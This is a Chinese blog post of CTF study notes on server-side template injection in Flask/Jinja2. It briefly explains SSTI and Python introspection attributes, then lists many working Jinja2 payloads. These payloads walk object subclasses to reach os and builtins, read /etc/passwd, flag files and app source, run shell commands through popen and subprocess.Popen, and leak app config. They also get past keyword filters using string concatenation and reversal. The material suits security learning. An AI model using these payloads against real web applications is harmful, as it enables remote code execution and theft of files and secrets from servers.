SSTI-模板注入小知识


SSTI

借鉴大佬博客:
https://www.cnblogs.com/20175211lyz/p/11425368.html
CTF引出对Python模板注入的思考
浅析SSTI(python沙盒绕过)


简要介绍

SSTI 全称Server Side Template Injection,服务器模板注入。
模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,服务端把用户输入的内容渲染成模板就可能造成SSTI。
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig


flask/jinja

flask和django貌似都是使用templates来实现模板的。
而flask中使用的是Jinja2引擎。
Jinja2引擎存在以下三种语法:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}

__dict__ 保存类实例或对象实例的属性变量键值对字典  __class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__   返回该对象所继承的基类
__base__和__mro__都是用来寻找基类的
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

获取基本类

‘’.class.mro[2]
{}.class.bases[0]
().class.bases[0]
[].class.bases[0]
request.class.mro[8] //针对jinjia2/flask为[9]适用

{{config}}

{{ config.items() }} // 查看配置项目的信息

可以获取当前设置,
如果题目有语句

app.config ['FLAG'] = os.environ.pop('FLAG'

那可以直接访问 {{config[‘FLAG’]}} 或者 {{config.FLAG}} 得到flag

也可以使用{{self}}获取当前设置
使用 {{self.dict._TemplateReference__context.config}}
也可以找到当前设置config

一些注入语句:

{{os.listdir('.')}} 访问当前目录下的文件有哪些

{{[].__class__.__base__.__subclasses__()}}访问所有模块

知道访问os模块都是从warnings.catch_warnings模块入手的。

找到catch_warnings的位置(上面查到的所有模块的索引,假如是59,即第59个模块)

{}.__class__.__bases__[0].__subclasses__()[60].__init__

{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}
可以查询到一些global函数,进入含有os模块的函数

{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__}}
找寻到os模块

{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s']}}
使用上面语句代替os模块使用

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].read()

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].open()

{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].read([].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].open("flag",[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].O_RDONLY),40)}}



python3
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}


{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}进行文件读取


不用找类
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
//列文件

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

ban了globals:

采用了字符串拼接的形式['__glo'+'bals__']

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__'].keys()}}

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['linecache'].__dict__['o'+'s']}}

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['linecache'].__dict__['o'+'s'].popen('ls').read()}}

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}

 {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}    

如果config,self不能使用,要获取配置信息,可以使用下面的语句:

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
在实际场景中,把FLAG修改一下就可以使用了

可以利用的类 利用subprocess.Popen执行命令

{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
//如果burpsuit返回400,记得url编码一下再传!

Flask的重要知识点:
GYCTF2020 Flaskapp预期官方题解(Flask的debug模式)


总结

会持续更新的~~~~

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sakura-501

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值